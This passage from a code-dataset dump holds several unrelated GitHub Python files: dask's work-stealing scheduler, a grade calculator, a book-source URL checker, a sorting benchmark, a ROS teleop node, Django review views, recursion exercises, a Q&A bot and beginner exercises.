else:\n thieves = idle\n if not thieves:\n break\n thief = thieves[i % len(thieves)]\n\n duration = sat.processing.get(ts)\n if duration is None:\n stealable.discard(ts)\n continue\n\n maybe_move_task(\n level, ts, sat, thief, duration, cost_multiplier\n )\n\n if self.cost_multipliers[level] < 20: # don't steal from public at cost\n stealable = self.stealable_all[level]\n for ts in list(stealable):\n if not idle:\n break\n if ts not in self.key_stealable:\n stealable.discard(ts)\n continue\n\n sat = ts.processing_on\n if sat is None:\n stealable.discard(ts)\n continue\n if combined_occupancy(sat) < 0.2:\n continue\n if len(sat.processing) <= sat.nthreads:\n continue\n\n i += 1\n if _has_restrictions(ts):\n thieves = [ws for ws in idle if _can_steal(ws, ts, sat)]\n else:\n thieves = idle\n if not thieves:\n continue\n thief = thieves[i % len(thieves)]\n duration = sat.processing[ts]\n\n maybe_move_task(\n level, ts, sat, thief, duration, cost_multiplier\n )\n\n if log:\n self.log(log)\n self.count += 1\n stop = time()\n if s.digests:\n s.digests[\"steal-duration\"].add(stop - start)\n\n def restart(self, scheduler):\n for stealable in self.stealable.values():\n for s in stealable:\n s.clear()\n\n for s in self.stealable_all:\n s.clear()\n self.key_stealable.clear()\n\n def story(self, *keys):\n keys = {key.key if not isinstance(key, str) else key for key in keys}\n out = []\n for _, L in self.scheduler.get_events(topic=\"stealing\"):\n if not isinstance(L, list):\n L = [L]\n for t in L:\n if any(x in keys for x in t):\n out.append(t)\n return out\n\n\ndef _has_restrictions(ts):\n \"\"\"Determine whether the given task has restrictions and whether these\n restrictions are strict.\n \"\"\"\n return not ts.loose_restrictions and (\n ts.host_restrictions or ts.worker_restrictions or ts.resource_restrictions\n )\n\n\ndef _can_steal(thief, ts, victim):\n \"\"\"Determine whether worker ``thief`` can steal task ``ts`` from worker\n ``victim``.\n\n Assumes that `ts` has some restrictions.\n \"\"\"\n if (\n ts.host_restrictions\n and get_address_host(thief.address) not in ts.host_restrictions\n ):\n return False\n elif ts.worker_restrictions and thief.address not in ts.worker_restrictions:\n return False\n\n if victim.resources is None:\n return True\n\n for resource, value in victim.resources.items():\n try:\n supplied = thief.resources[resource]\n except KeyError:\n return False\n else:\n if supplied < value:\n return False\n return True\n\n\nfast_tasks = {\"split-shuffle\"}\n","repo_name":"justinfmccarty/epwmorph","sub_path":"env/lib/python3.9/site-packages/distributed/stealing.py","file_name":"stealing.py","file_ext":"py","file_size_in_byte":17714,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"74632994586","text":"import sys\r\nschool = input(\"请输入学校\")\r\nname = input(\"请输入名字\")\r\nx = float(input(\"请输入国文成绩\"))\r\ny = float(input(\"请输入数学成绩\"))\r\nz = float(input(\"请输入英文成绩\"))\r\ngrade = (x + y + z)\r\naverage = grade / 3\r\nif x < 1 or x > 100:\r\n print(\"上列成绩输入错误\")\r\n sys.exit(\"成绩应在1~100间\")\r\nif y < 1 or y > 100:\r\n print(\"上列有成绩输入错误\")\r\n sys.exit(\"成绩应在1~100间\")\r\nif z < 1 or z > 100:\r\n print(\"上列有成绩输入错误\")\r\n sys.exit(\"成绩应在1~100间\")\r\nelse:\r\n print(\"就读%4s 姓名%3s 总分: %3.2f 学期成绩平均是: %3.2f\" %(school, name, grade, average)) \r\nif average < 70:\r\n print(\"小于全班平均\")\r\nelif average == 70:\r\n print(\"等于全班平均\")\r\n\r\nelse:\r\n print(\"高于全班平均\")","repo_name":"LoN-1230/Semester-average-calculator","sub_path":"average.py","file_name":"average.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11028314194","text":"\"\"\"\n======================================\n# 本脚本根据网页状态码来达到校验书源的目的 #\n=====================================\n\"\"\"\nimport json\nimport threading\nimport requests\n\n# 请求超时时间默认为10秒\ntimeOut = 10\n# 存储书源地址\nsourceUrl = []\n# 存储书源名称\nsourceName = []\n# 异常状态码的源\nstatusResult = []\n# 无法获取站点状态码的源\nexceptionResult = []\n\n\n# 对书源json文件加工,返回json\ndef resolveJson(path):\n file = open(path, \"rb\")\n fileJson = json.load(file)\n for i in fileJson:\n # print(i)\n sourceUrl.append(i[\"bookSourceUrl\"])\n sourceName.append(i[\"bookSourceName\"])\n return fileJson\n\n\n# 校验\ndef getHttpStatusCode(url):\n # 添加user-agent\n userAgent = {\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36\"}\n t = {}\n try:\n request = requests.get(url, headers=userAgent, timeout=timeOut)\n httpStatusCode = request.status_code\n t[\"书源名称\"] = sourceName[sourceUrl.index(url)]\n t[\"书源地址\"] = url\n t[\"网站状态\"] = httpStatusCode\n if httpStatusCode != 200:\n statusResult.append(t)\n # print(t)\n except Exception as e:\n t[\"书源名称\"] = sourceName[sourceUrl.index(url)]\n t[\"书源地址\"] = url\n t[\"异常信息\"] = str(e)\n exceptionResult.append(t)\n # print(t)\n\n\n# 开启多线程\ndef toStart():\n threads = []\n for url in sourceUrl:\n t1 = threading.Thread(target=getHttpStatusCode, args=[url])\n t1.setDaemon(True)\n threads.append(t1)\n\n for t in threads:\n t.start()\n t.join\n\n\n# 存储校验后的书源\nprint(\"\"\"============================================\n# 本脚本根据网页状态码来达到校验书源的目的 #\n# 项目源地址: #\n# https://github.com/ifwlzs/YueDuBackup #\n# by ifwlzs #\n============================================\\n\\n\"\"\")\n\n# 设置文件目录\npath = input(\"请输入将要校验的书源文件路径(bookSource):\")\n# path = r\"D:\\MyCode\\Python\\webState\\bookSource.json\"\n# 设置站点超时时间\ns = input(\"请设置超时时间(直接敲回车默认为10秒)\")\nprint(\"校验中...请稍后...\")\nif s is None or s == \"\":\n timeOut = 10\nelse:\n timeOut = int(s)\n# 处理json\noldSource = resolveJson(path)\n# 获取长度\nsize = len(sourceUrl)\n# 多线程进行校验\ntoStart()\n\nfile = open('result.txt', 'w', encoding=\"utf8\")\nfile.write(\"网站状态码异常的源:\\n\")\nfile.flush()\n# 用于存储状态码异常的书名\ndeleteName = []\n# 用于存储状态码异常地址\ndeleteUrl = []\n\nif len(statusResult) > 0:\n for i in statusResult:\n deleteName.append(i['书源名称'])\n deleteUrl.append(i['书源地址'])\n file.write(str(i) + '\\n')\n file.flush()\n\nfile.write(\"\\n无法获取站点状态码的源:\\n\")\nfile.flush()\nif len(exceptionResult) > 0:\n for i in exceptionResult:\n file.write(str(i) + '\\n')\n file.flush()\nfile.write(\"\\n已删除的源:\\n\")\nfile.flush()\n\ndeleteSource = [x for x in oldSource if x[\"bookSourceName\"] in deleteName and x[\"bookSourceUrl\"] in deleteUrl]\nif len(deleteSource) > 0:\n file.write(\"[\\n\")\n for i in deleteSource:\n file.write(str(i) + \"\\n\")\n file.flush()\n file.write(\"]\")\nfile.close()\n\n# 写入校验后的书源\nnewSource = [x for x in oldSource if x[\"bookSourceName\"] not in deleteName and x[\"bookSourceUrl\"] not in deleteUrl]\nfile = open(\"newBookSource.txt\", 'w', encoding=\"utf8\")\nfile.write(str(newSource))\nfile.flush()\nfile.close()\n\nprint(\"网站状态码异常的源有\" + str(len(statusResult)) + \"个\")\n# print(statusResult)\nprint(\"无法获取站点状态码的源有\" + str(len(exceptionResult)) + \"个\")\n# print(exceptionResult)\nprint(\"结果仅供参考!!请用户自行判断,源是否真的失效。校验结果保存在当前目录下的【result.txt】文件中\")\nprint(\"校验后的书源保存在当前目录下的【newBookSource.txt】文件中(仅去除状态码异常的源)\")\ninput(\"\\n\\n\\n请按任意键关闭本窗口 . . .\")\n","repo_name":"oli-fa/YueDuBackup","sub_path":"Tool/checkBookSource.py","file_name":"checkBookSource.py","file_ext":"py","file_size_in_byte":4249,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"11"} +{"seq_id":"1502061179","text":"import numpy as np\nimport pandas as pd\nimport time\nfrom implementations import all_implementations\n\ndata = pd.DataFrame()\n\nfor sort in all_implementations:\n times_for_sort = np.array([], dtype=float)\n for iter in range(50):\n random_array = np.random.randint(100000, size=10000)\n st = time.time()\n res = sort(random_array)\n en = time.time()\n times_for_sort = np.append(times_for_sort, en - st)\n data[sort.__name__] = times_for_sort\n\ndata.to_csv('data.csv', index=False)","repo_name":"rmittal1421/CMPT-353","sub_path":"Exercises/e6/create_data.py","file_name":"create_data.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41592040484","text":"#!/usr/bin/env python\n\nimport rospy\nfrom geometry_msgs.msg import Twist\nfrom nav_msgs.msg import Odometry\n\nLINEAR_SENSITIVITY = 3.0\nANG_SENSITIVITY = 4.0\n\ndef linear_callback(msg):\n global linear_adj, curr_linear\n\n # Divide by LINEAR_SENSITIVITY to decrease sensitivity\n linear_raw = max(-1.0, min(1.0, ((msg.pose.pose.orientation.y / LINEAR_SENSITIVITY) * 10) / 5.0))\n\n if linear_adj is None:\n linear_adj = linear_raw\n\n # Normalize to initial value\n curr_linear = int((linear_raw - linear_adj) * 100) / 100.0\n\n\ndef ang_callback(msg):\n global ang_adj, curr_ang\n\n # Multiply by ANG_SENSITIVITY to increase sensitivity\n ang_raw = max(-1.0, min(1.0, (msg.pose.pose.orientation.z * ANG_SENSITIVITY * 10) / 5.0))\n\n if ang_adj is None:\n ang_adj = ang_raw\n\n # Normalize to initial value\n curr_ang = int((ang_raw - ang_adj) * 100) / 100.0\n\n\ndef main():\n linear_adj = None\n ang_adj = None\n curr_linear = 0\n curr_ang = 0\n count = 0;\n\n rospy.init_node('imu_teleop')\n\n pub = rospy.Publisher('/cmd_vel', Twist, queue_size=5)\n rospy.Subscriber('/realsense/odom', Odometry, linear_callback) # /pose/pose/orientation/y\n rospy.Subscriber('/realsense/odom', Odometry, ang_callback) # /pose/pose/orientation/z\n\n rate = rospy.Rate(10)\n\n print(\"Listening...\")\n\n try:\n while True:\n twist = Twist()\n twist.linear.x = curr_linear\n twist.linear.y = 0\n twist.linear.z = 0\n twist.angular.x = 0\n twist.angular.y = 0\n twist.angular.z = curr_ang\n pub.publish(twist)\n print(\"%s\\tlinear: %s\\tangular: %s\" % (count, curr_linear, curr_ang))\n rate.sleep()\n count = count + 1\n finally:\n twist = Twist()\n twist.linear.x = 0\n twist.linear.y = 0\n twist.linear.z = 0\n twist.angular.x = 0\n twist.angular.y = 0\n twist.angular.z = 0\n pub.publish(\"Closing...\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"athenian-programming/ros-demos","sub_path":"imu_teleop/scripts/imu_teleop.py","file_name":"imu_teleop.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74068423707","text":"from django.http.response import JsonResponse\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom .models import Review, Comment\nfrom .serializers import CommentSerializer, ReviewSerializer, ReviewListSerializer\nfrom rest_framework.permissions import AllowAny\nfrom django.db.models import Count\n\n\n@api_view(['GET', 'POST'])\n@permission_classes([AllowAny])\ndef create_or_list_review(request, movie_pk):\n if request.method == 'GET':\n reviews = Review.objects.filter(movie=movie_pk).annotate(count=Count('like_users')).order_by('-count')\n print(reviews)\n serializer = ReviewListSerializer(reviews, many=True)\n print(serializer)\n return Response(serializer.data)\n else:\n if request.user.is_authenticated: # 로그인한 사용자\n serializer = ReviewSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save(user=request.user)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response('login required', status=status.HTTP_401_UNAUTHORIZED)\n\n\n@api_view(['GET', 'PUT', 'DELETE'])\n@permission_classes([AllowAny])\ndef detail_or_update_or_delete_review(request, review_pk):\n review = get_object_or_404(Review, pk=review_pk)\n # 단일 리뷰&코멘트들 조회\n if request.method == 'GET':\n serializer = ReviewSerializer(review)\n return Response(serializer.data)\n elif request.user.is_authenticated: # 로그인한 사용자\n if request.user == review.user: # 유저 == 글쓴이(자기 글만 수정/삭제 가능하도록)\n # 리뷰 수정\n if request.method == 'PUT':\n serializer = ReviewSerializer(review, data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(serializer.data)\n # 리뷰 삭제\n else:\n review.delete()\n return Response('delete success', status=status.HTTP_204_NO_CONTENT)\n return Response('unauthorized', status=status.HTTP_401_UNAUTHORIZED)\n return Response('login required', status=status.HTTP_401_UNAUTHORIZED)\n\n\n@api_view(['POST'])\ndef like_review(request, review_pk):\n review = get_object_or_404(Review, pk=review_pk)\n if review.like_users.filter(pk=request.user.pk).exists():\n review.like_users.remove(request.user)\n else:\n review.like_users.add(request.user)\n likesCount = review.like_users.count()\n return JsonResponse({\n 'likesCount': likesCount,\n })\n\n\n@api_view(['POST'])\ndef create_comment(request, review_pk):\n review = get_object_or_404(Review, pk=review_pk)\n serializer = CommentSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save(user=request.user)\n return Response(serializer.data) \n\n\n@api_view(['PUT', 'DELETE'])\ndef update_or_delete_comment(request, comment_pk):\n comment = get_object_or_404(Comment, pk=comment_pk)\n if request.user == comment.user:\n if request.method == 'PUT':\n serializer = CommentSerializer(data=request.data, instance=comment)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(serializer.data)\n elif request.method == 'DELETE':\n comment.delete()\n return Response('delete success', status=status.HTTP_204_NO_CONTENT)\n else:\n return Response('unauthorized', status=status.HTTP_401_UNAUTHORIZED)\n","repo_name":"devyen/filmshooter","sub_path":"backend/reviews/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15362703122","text":"'''\nstarts with 0 index, gets the element of that index then (that number-1) index element is checked whether it is -ve, if it \nis not then make it -ve else the previous index i.e., the index in the current loop is the answer\nhttps://youtu.be/XSdr_O-XVRQ\n'''\ndef printRepeating(arr): \n \n size = len(arr)\n #print(\"The repeating elements are: \") \n \n for i in range(0, size): \n \n if arr[abs(arr[i])-1] >= 0: \n arr[abs(arr[i])-1] = -arr[abs(arr[i])-1] \n else: \n print('The first number to appear as duplicate is ',arr[i]) \n break\n \n \n \n# Driver code \narr = [1,2,3,2,3,4,5] \nprintRepeating(arr) \n","repo_name":"sbrahma0/optimised-Python","sub_path":"First_duplicate.py","file_name":"First_duplicate.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73548664987","text":"from typing import List, Union, Any\n\n\ndef recursive_factorial(n: int) -> int:\n \"\"\"\n Calculates the factorial of a natural number.\n If the number is less than 0, it raises a ValueError.\n\n >>> recursive_factorial(0)\n 1\n >>> recursive_factorial(1)\n 1\n >>> recursive_factorial(6)\n 720\n >>> recursive_factorial(-2)\n Traceback (most recent call last):\n ...\n ValueError: n must be more or equal than 0\n \"\"\"\n if n < 0:\n raise ValueError('n must be more or equal than 0')\n\n if n == 0:\n return 1\n return n * recursive_factorial(n - 1)\n\n\ndef recursive_fibonacci(n: int) -> int:\n \"\"\"\n Returns n-th Fibonacci number\n n must be more than 0, otherwise it raise a ValueError.\n >>> recursive_fibonacci(0)\n 0\n >>> recursive_fibonacci(1)\n 1\n >>> recursive_fibonacci(2)\n 1\n >>> recursive_fibonacci(10)\n 55\n >>> recursive_fibonacci(-2)\n Traceback (most recent call last):\n ...\n ValueError: n must be more or equal than 0\n \"\"\"\n if n < 0:\n raise ValueError('n must be more or equal than 0')\n\n if n == 0:\n return 0\n elif n == 1:\n return 1\n\n return recursive_fibonacci(n - 1) + recursive_fibonacci(n - 2)\n\n\ndef recursive_fibonacci_cache(\n n: int\n) -> int:\n \"\"\"\n Returns n-th Fibonacci number\n n must be more than 0, otherwise it raises a ValueError.\n >>> recursive_fibonacci_cache(0)\n 0\n >>> recursive_fibonacci_cache(1)\n 1\n >>> recursive_fibonacci_cache(2)\n 1\n >>> recursive_fibonacci_cache(10)\n 55\n >>> recursive_fibonacci_cache(-2)\n Traceback (most recent call last):\n ...\n ValueError: n must be more or equal than 0\n \"\"\"\n cache = {}\n\n def _fib(_n):\n if _n < 0:\n raise ValueError('n must be more or equal than 0')\n\n if _n == 0:\n return 0\n elif _n == 1:\n return 1\n\n if _n not in cache:\n if _n - 1 not in cache:\n cache[_n - 1] = _fib(_n - 1)\n\n if _n - 2 not in cache:\n cache[_n - 2] = _fib(_n - 2)\n\n cache[_n] = cache[_n - 1] + cache[_n - 2]\n\n return cache[_n]\n\n return _fib(n)\n\n\ndef recursive_max(sequence: List[int]) -> Union[int, None]:\n \"\"\"\n Finds the maximal element in the sequence.\n For an empty sequence returns None.\n >>> recursive_max([-2,5,1,12,-8,3])\n 12\n >>> recursive_max([1,2,2,2,2])\n 2\n >>> recursive_max([1])\n 1\n >>> recursive_max([])\n \"\"\"\n if not sequence:\n return None\n\n if len(sequence) == 1:\n return sequence[0]\n else:\n left_max = recursive_max(sequence[:len(sequence) // 2])\n right_max = recursive_max(sequence[len(sequence) // 2:])\n return left_max if left_max > right_max else right_max\n\n\ndef recursive_binary_search(\n sequence: List[int],\n elem: int,\n start: Union[None, int] = None,\n stop: Union[None, int] = None\n) -> int:\n \"\"\"\n Searches for an element in the sequence.\n If the element is in the sequence, it returns the index of the element.\n If there are several identical elements in the sequence, it returns the index of the first one.\n If no element is found - returns -1.\n >>> recursive_binary_search([-3, -2, 1, 4, 7, 9, 12], 1)\n 2\n >>> recursive_binary_search([-3, -2, 1, 4, 7, 9, 12], 90)\n -1\n >>> recursive_binary_search([2,2,2,2], 2)\n 0\n >>> recursive_binary_search([1,2,2,2], 2)\n 1\n >>> recursive_binary_search([1,1,2,2], 2)\n 2\n >>> recursive_binary_search([1,1,1,2], 2)\n 3\n >>> recursive_binary_search([1], 1)\n 0\n >>> recursive_binary_search([], 8)\n -1\n \"\"\"\n start = start or 0\n stop = stop or len(sequence) - 1\n\n if (not sequence\n or start > stop): # element not found\n return -1\n\n middle = (start + stop) // 2\n if sequence[middle] == elem:\n for ind in range(middle, 0, -1):\n prev_elem = sequence[ind - 1]\n if prev_elem != elem:\n return ind\n return 0 # So the sequence starts with the element\n\n elif sequence[middle] > elem:\n return recursive_binary_search(sequence, elem, start=start, stop=middle - 1)\n else: # sequence[middle] < elem\n return recursive_binary_search(sequence, elem, start=middle + 1, stop=stop)\n\n\ndef euclidean_algorithm(a: int, b: int) -> int:\n \"\"\"\n Finds the greatest common divisor of two natural numbers.\n If n or k is less than or equal to 0, it raises ValueError.\n >>> euclidean_algorithm(6,9)\n 3\n >>> euclidean_algorithm(8, 20)\n 4\n >>> euclidean_algorithm(19, 17)\n 1\n >>> euclidean_algorithm(20, -2)\n Traceback (most recent call last):\n ...\n ValueError: a and b must be more than 0\n >>> euclidean_algorithm(-3, 8)\n Traceback (most recent call last):\n ...\n ValueError: a and b must be more than 0\n \"\"\"\n if a <= 0 or b <= 0:\n raise ValueError('a and b must be more than 0')\n\n if a == b:\n return a\n elif a > b:\n return euclidean_algorithm(a - b, b)\n else: # a str:\n \"\"\"\n Solving the Hanoi Towers puzzle.\n Returns a string with the sequence of disc changes from rod to rod in the format 'disk_number from_rod->to_rod'\n If n < 0 it raises ValueError\n If n == 0, it returns empty string\n >>> tower_of_hanoi()\n '1 A->B '\n >>> tower_of_hanoi(2)\n '1 A->C 2 A->B 1 C->B '\n >>> tower_of_hanoi(3)\n '1 A->B 2 A->C 1 B->C 3 A->B 1 C->A 2 C->B 1 A->B '\n >>> tower_of_hanoi(0)\n ''\n >>> tower_of_hanoi(-2)\n Traceback (most recent call last):\n ...\n ValueError: n must be more than 0\n \"\"\"\n if n == 0:\n return ''\n elif n < 0:\n raise ValueError('n must be more than 0')\n\n if n == 1:\n return f'1 {from_rod}->{to_rod} '\n return (tower_of_hanoi(n - 1, from_rod=from_rod, to_rod=through_road, through_road=to_rod) +\n f'{n} {from_rod}->{to_rod} ' +\n tower_of_hanoi(n - 1, from_rod=through_road, to_rod=to_rod, through_road=from_rod))\n\n\ndef all_permutations(sequence: List[Any]) -> List[Any]:\n \"\"\"\n Returns a list of all permutations of sequence elements.\n The length of the sequence must be less than or equal to 10 (since the algorithm is factorial).\n If the length of the sequence is greater than 10, it raises a ValueError.\n For an empty sequence it returns an empty list.\n >>> all_permutations([1,2,3])\n [[1, 2, 3], [1, 3, 2], [2, 1, 3], [2, 3, 1], [3, 1, 2], [3, 2, 1]]\n >>> all_permutations([1])\n [[1]]\n >>> all_permutations([])\n []\n >>> all_permutations([0,1,2,3,4,5,6,7,8,9,10])\n Traceback (most recent call last):\n ...\n ValueError: len(sequence) must be less than or equal to 10\n \"\"\"\n if not sequence:\n return []\n elif len(sequence) > 10:\n raise ValueError('len(sequence) must be less than or equal to 10')\n\n if len(sequence) == 1:\n return [sequence]\n else:\n res = []\n for ind, elem in enumerate(sequence):\n permutations = all_permutations(sequence[:ind] + sequence[ind + 1:])\n for permutation in permutations:\n res.append([elem] + permutation)\n return res\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()\n","repo_name":"fiza1160/algorithms","sub_path":"algorithms/recursion.py","file_name":"recursion.py","file_ext":"py","file_size_in_byte":7518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31190291813","text":"import random\n\n# 分类模块\nfrom Core.question_classifier import QuestionClassifier\n# 生成查询语句\nfrom Core.question_parser import QuestionPaser\n# 生成回答\nfrom Core.answer_search import AnswerSearcher\n# 语音输出\nimport pyttsx3\n# Colors\nfrom Plug_in.Colors import Color\n\n\n########################################################################################################################\n\n\n# 问答类\nclass Aowu:\n def __init__(self):\n self.classifier = QuestionClassifier() # 分类\n self.searcher = AnswerSearcher() # 生成回答\n # 语音初始化\n self.engine = pyttsx3.init()\n self.reader_init(250)\n\n def reader_init(self, rate=150, volume=1.0, index=0):\n \"\"\"\n 机器朗读初始化\n \"\"\"\n self.engine = pyttsx3.init()\n # RATE\n self.engine.setProperty('rate', rate) # setting up new voice rate\n # VOLUME\n self.engine.setProperty('volume', volume) # setting up volume level between 0 and 1\n # VOICE\n voices = self.engine.getProperty('voices') # getting details of current voice\n self.engine.setProperty('voice', voices[index].id) # changing index, changes voices. o for male\n\n def cute_sorry(self, select):\n if select == 0:\n return 'Sorry, 这个问题好难理解呀!不过我会更加努力学习的!'\n elif select == 1:\n return '抱歉, 这个问题好难理解呀!不过我会更加努力学习的!'\n elif select == 2:\n return '对不起, 这个问题好难理解呀!不过我会更加努力学习的!'\n elif select == 3:\n return '喵喵喵, 这个问题好难理解呀!不过我会更加努力学习的!'\n elif select == 4:\n return '真不好意思, 这个问题好难理解呀!不过我会更加努力学习的!'\n else:\n return 'Sorry, 这个问题好难理解呀!不过我会更加努力学习的!'\n\n def answer(self, question):\n # 如果不能回答问题\n error = self.cute_sorry(random.randint(0, 4))\n # print(Color.yellow, error)\n # error = '喵喵喵, 你的问题好难理解呀!不过我会更加努力学习的!'\n # 提示 标准问题\n # standard_answer = ''\n # print(standard_answer)\n\n # 获取实体类别 问题中的属性类别\n res_classify = self.classifier.classify(question)\n if not res_classify:\n print(Color.blue, \"Aowu:\", Color.red, error)\n return error\n # self.engine.say(\"。\" + error)\n # self.engine.runAndWait()\n else:\n print(Color.carmine, '类别:', res_classify)\n\n # 生成查询语句\n res_cql = QuestionPaser.parser_main(res_classify)\n print(Color.yellow, 'cql语句', res_cql)\n\n # 返回查询结果\n final_answers = self.searcher.search_main(res_cql)\n # print(Color.blue, \"Aowu:\", final_answers[0])\n\n if not final_answers:\n print(Color.blue, \"Aowu:\", Color.red, error)\n return error\n # 语音助手\n else:\n print(Color.blue, \"Aowu:\", final_answers[0])\n return final_answers[0]\n # self.engine.say(final_answers[0][0: 100])\n # self.engine.runAndWait()\n\n\n########################################################################################################################\n\nif __name__ == '__main__':\n # problems = [\"十面埋伏和功夫的评分\", \"十面埋伏和功夫的上映时间\", \"十面埋伏和功夫的风格\", \"十面埋伏和功夫的简介\",\n # \"十面埋伏和功夫的演员\", \"李连杰和成龙的简介\",\n # \"成龙和李连杰和周星驰合作的电影\", \"成龙和李连杰和周星驰总共演了多少的电影\", \"成龙和李连杰合作的电影\",\n # \"周星驰和李连杰的生日是?\", \"我女朋友是谁?\"]\n\n aowu = Aowu()\n name = ''\n while name == '':\n print(Color.red, \"Your Name:\", end='')\n name = input()\n while True:\n print(Color.yellow, name, \":\", end='')\n question = input()\n if question != '':\n aowu.answer(question)\n","repo_name":"YJP520/Answer_aowu","sub_path":"Core/aowu_graph.py","file_name":"aowu_graph.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"22082282861","text":"\nimport sys # 引入 sys 模块\n\n# Fibonacci series: 斐波纳契数列\n# 两个元素的总和确定了下一个数\n# 右边的表达式会在赋值变动之前执行。右边表达式的执行顺序是从左往右的。\na, b = 0, 1\nwhile b < 100:\n print(b, end=',')\n a, b = b, a+b\n \ndef fab(n):\n if n<1:\n print('输入有误!')\n return -1 \n if n==1 or n==2:\n return 1 \n else:\n return fab(n-1)+fab(n-2)\n \nprint (fab(10))\n\n\n# Python 中用 elif 代替了 else if,所以if语句的关键字为:if – elif – else。\n'''\nprint(\"=======欢迎进入狗狗年龄对比系统========\")\nwhile True:\n try:\n age = int(input(\"请输入您家狗的年龄:\"))\n print(\" \")\n age = float(age)\n if age < 0:\n print(\"您在逗我?\")\n elif age == 1:\n print(\"相当于人类14岁\")\n break\n elif age == 2:\n print(\"相当于人类22岁\")\n break\n else:\n human = 22 + (age - 2)*5\n print(\"相当于人类:\",human)\n break\n except ValueError:\n print(\"输入不��法,请输入有效年龄\")\n###退出提示\ninput(\"点击 enter 键退出\")\n'''\n\n\n'''\nnumber = 7\nguess = -1\nprint(\"数字猜谜游戏!\")\nwhile guess != number:\n guess = int(input(\"请输入你猜的数字:\"))\n if guess == number:\n print(\"恭喜,你猜对了!\")\n elif guess < number:\n print(\"猜的数字小了...\")\n elif guess > number:\n print(\"猜的数字大了...\")\n'''\n\n \n# 同样需要注意冒号和缩进。另外,在Python中没有do..while循环。\nn = 100\nsum = 0\ncounter = 1\nwhile counter <= n:\n sum = sum + counter\n counter += 1\nprint(\"1 到 %d 之和为: %d\" % (n,sum))\n\n\n# 在 while … else 在条件语句为 false 时执行 else 的语句块:\ncount = 0\nwhile count < 5:\n print (count, \" 小于 5\")\n count = count + 1\nelse:\n print (count, \" 大于或等于 5\")\n \n\n# 类似if语句的语法,如果你的while循环体中只有一条语句,你可以将该语句与while写在同一行中, 如下所示:\n'''\nflag = 1\nwhile (flag): print ('欢迎访问菜鸟教程!')\nprint (\"Good bye!\")\n'''\n\nsites = [\"Baidu\", \"Google\",\"Runoob\",\"Taobao\"]\nfor site in sites:\n if site == \"Runoob\":\n print(\"菜鸟教程!\")\n break\n print(\"循环数据 \" + site)\nelse:\n print(\"没有循环数据!\")\nprint(\"完成循环!\")\n\n'''\nwhile 循环语句和 for 循环语句使用 else 的区别:\n1、如果 else 语句和 while 循环语句一起使用,则当条件变为 False 时,则执行 else 语句。\n2、如果 else 语句和 for 循环语句一起使用,else 语句块只在 for 循环正常终止时执行!\nbreak 语句可以跳出 for 和 while 的循环体。如果你从 for 或 while 循环中终止,任何对应的循环 else 块将不执行。 实例如下:\n'''\nfor n in range(2, 10):\n for x in range(2, n):\n if n % x == 0:\n print(n, '等于', x, '*', n//x)\n break\n else:\n # 循环中没有找到元素\n print(n, ' 是质数')\n'''\nfor letter in 'Runoob': # 第一个实例\n if letter == 'b':\n break\n print ('当前字母为 :', letter)\nvar = 10 # 第二个实例\nwhile var > 0:\n print ('当期变量值为 :', var)\n var = var -1\n if var == 5:\n break\nprint (\"Good bye!\")\n'''\n\n\nsequence = [12, 34, 34, 23, 45, 76, 89]\nfor i, j in enumerate(sequence):\n print(i, j)\n\n\n#外边一层循环控制行数\n#i是行数\ni=1\nwhile i<=9:\n #里面一层循环控制每一行中的列数\n j=1\n while j<=i:\n mut =j*i\n print(\"%d*%d=%-2d\"%(j,i,mut), end=\" \")\n j+=1\n print(\"\")\n i+=1\n\n\n#十进制转化\nwhile True:\n number = input('请输入一个整数(输入Q退出程序):') \n if number in ['q','Q']:\n break #如果输入的是q或Q,结束退出\n elif not number.isdigit():\n print('您的输入有误!只能输入整数(输入Q退出程序)!请重新输入')\n continue #如果输入的数字不是十进制,结束循环,重新开始\n else :\n number = int(number)\n print('十进制 --> 十六进制 :%d -> 0x%x' %(number,number))\n print('十进制 --> 八进制 :%d -> 0o%o' %(number,number))\n print('十进制 --> 二进制 :%d ->'%number,bin(number))\n\n\n\n\n\n\n\n","repo_name":"AndroidHarry/python","sub_path":"runoob/python3-exec.py","file_name":"python3-exec.py","file_ext":"py","file_size_in_byte":4436,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"34929125498","text":"import unittest\nimport sys\nimport os\nimport datetime\nimport os.path\nimport zipfile\nimport tempfile\nimport time\nimport shutil\nimport argparse\nimport platform\nimport getpass\nimport psutil\n\nTEST_test = 'unittest_aggregator' in sys.argv[0] or 'code_tester' in sys.argv[0]\n\nif TEST_test:\n global argparser\n argparser = argparse.ArgumentParser()\n argparser.add_argument('--no_user_action', help='Tests that require user action are not executed.', action='store_true')\n argparser.add_argument('--daq', help='Tests using DAQmx are enabled, assumes that daq device 